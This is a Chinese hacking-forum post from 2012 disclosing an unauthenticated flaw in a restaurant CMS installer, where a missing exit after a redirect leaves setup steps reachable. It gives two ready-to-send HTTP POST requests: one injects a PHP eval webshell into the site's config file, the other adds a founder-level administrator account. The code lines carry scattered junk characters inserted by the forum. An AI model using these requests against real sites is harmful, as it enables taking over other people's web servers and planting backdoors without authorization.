找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2024|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。% H  G5 L/ }. g$ @1 k& r
" d2 T! t5 e4 c7 o) Y; X
<?php5 V8 c3 U. i! ?, i, I* O, [
if(file_exists("../install.lock"))
8 a! \( [' b& @2 Z/ O& \{- R* v1 _/ ^3 y  _+ }: T$ g
    header("Location: ../");//没有退出/ R" U' V6 ?/ p+ D
}# W  p: V, g9 ^1 [9 j! |
               ! l0 d4 n9 i, J
//echo 'tst';exit;
% j7 l4 w$ P' ?; w* }require_once("init.php");+ N+ N" Q# Q& p1 L! T( A' y
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
6 q: o5 C) A6 x  ]{+ U5 ]: j/ P4 |  g* ]8 a7 j
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。) P& S: j( F5 i, _

/ J% [4 X( Q' \1、getshell(很危险)
; U6 k) s0 S4 m9 R8 D6 ]  B+ A& b# zif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
0 t5 D5 F0 D* z3 ~{- V4 i+ m! Q) G/ l" z
$smarty->assign("step",1);2 K4 O- C0 U/ N& O7 P$ |6 S
$smarty->display("index.html");
6 T1 }. R( y" p- P" A}elseif($_REQUEST['step']==2)
- c) f6 |, T* O. x{
2 H, [+ V4 A% i    $mysql_host=trim($_POST['mysql_host']);( C. e1 Z% @1 b) @; F2 \. J
    $mysql_user=trim($_POST['mysql_user']);' U7 D" x( F, |3 j2 o% h, Y+ L
    $mysql_pwd=trim($_POST['mysql_pwd']);
3 e7 @; c* n6 p9 Y8 J( @1 i    $mysql_db=trim($_POST['mysql_db']);
4 `3 F, V( Y, x3 B4 c    $tblpre=trim($_POST['tblpre']);6 C9 v( |2 \; l, d( \) ]/ j" E
    $domain==trim($_POST['domain']);
( _3 V$ }+ T1 @& y    $str="<?php \r\n";
- O5 B4 D! |. _) z, o" a    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
/ j) T2 a, P* P5 g6 x4 V7 e& t    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
$ o7 e7 @; l/ {    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";  ~: j6 b2 d% Q7 q4 M
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
% Y% T$ L) A4 c( d/ e6 w6 ~% D    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
. x* [! y2 B, m: V3 n2 B    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
4 j) F$ e: k" h/ q9 o; A) h8 W    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
# o/ T, O) ?4 I9 c    $str.='define("SKINS","default");'."\r\n";1 F' l- U# q% c# f0 T
    $str.='?>';+ _% K2 a5 f% A; R2 l( h) B- m/ O
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件) m. d$ ^' a2 L: j5 }8 |* K
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
' J" r) C! y9 O9 @# p' WPOST /canting/install/index.php?m=index&step=2 HTTP/1.1$ k9 ?' R9 C( K( O* e3 |) p( T7 ]
Host: 192.168.80.1299 d8 l' z7 \. {% V% e
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0" l! v" p2 d3 r0 @. R; {. M
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
* J) C, X, a8 JAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3: c& M" b  y; J" O
Accept-Encoding: gzip, deflate5 O& d0 F0 s8 }! M: I
Referer: http://192.168.80.129/canting/install/index.php?step=1/ L- A+ ^- e! j) _) B
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42$ ?( W4 {' |; f% B
Content-Type: application/x-www-form-urlencoded) D/ X2 E5 G1 }, u
Content-Length: 126% O, L, H, Z. s1 z6 h
          ( D9 p- Q* D( j( F! p
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
7 k8 U- H6 [5 p. G; [) L但是这个方法很危险,将导致网站无法运行。
) R' B& Z( j: I! w9 ?& W& f4 p' O  c2 O0 @
2、直接添加管理员) j5 Q9 F: I! O) A
0 `/ I1 `' I, M1 Y6 _
elseif($_REQUEST['step']==5)
% l' D4 W. G# M: A* {) B/ E* n3 a{
/ N7 d/ y+ n* q    if($_POST); g1 Z; i) \& A4 b
    {   require_once("../config/config.inc.php");; e3 K. o9 Y3 y) I1 u, r) M
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);& d6 l* K1 ]0 u1 P3 S) l
        mysql_select_db(MYSQL_DB,$link);
" f* R2 j. ?: K$ n' O# |        mysql_query("SET NAMES ".MYSQL_CHARSET );  ]9 Z2 q! x2 X1 e
         mysql_query("SET sql_mode=''");
( D/ H# t% x9 q7 z; g7 j, K0 x% f# K
- x3 k/ Y6 t) N3 L& W $adminname=trim($_POST['adminname']);- @2 {! y* V3 W
        $pwd1=trim($_POST['pwd1']);+ e5 t' y  k/ e9 @2 q" I9 I
        $pwd2=trim($_POST['pwd2']);$ t3 t- S) k/ {$ t3 P% A, _
        if(empty($adminname))
: g2 i6 [* m* O: A0 w9 ~5 @        {. Q+ q5 G$ _1 H9 W' U  f5 [
6 \" R8 a7 J6 |' I3 z9 Z' ~( o& ~
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
( P4 S) y$ L7 r/ E: C' h            exit();; _0 j$ S6 g5 m5 W
        }% V# M4 d; N5 Q* f2 Q$ U
        if(($pwd1!=$pwd2) or empty($pwd1))
& }; X: N) q7 N4 Q2 k0 y2 `        {
! h% c5 \! N1 x4 v  r            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出# m* ], Y' f# j( H: _
        }
+ u5 L( q! C" ?8 j/ [        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员" b5 ]" c4 y% U
    }- v9 v' x9 Z( a8 J: A
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
' L7 l/ u7 x- ]' Q6 m7 PPOST /canting/install/index.php?m=index&step=5 HTTP/1.1% U7 F8 p1 ^( B
Host: 192.168.80.129! O1 q- ]- l4 z; t) E
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
" T. Q! `; @0 c; i% h8 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.89 A- X; r% z& X/ I3 \
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.37 N% M- I  C. H5 y. L* ~
Accept-Encoding: gzip, deflate
% G! d4 [+ U9 t( I; u4 _) eReferer: http://www.2cto.com /canting/install/index.php?step=1
: |& k2 n7 x# O  ~& a8 W1 _Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
6 l8 J; e& i+ \9 eContent-Type: application/x-www-form-urlencoded+ t, Q. b  J9 c5 q
Content-Length: 46+ N, O4 |) k1 }4 g0 t) [
      
( Z. a* I, ~( J$ b& }0 N9 G- Y7 Q/ ]adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
* k: e& z8 U8 n  o- m5 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表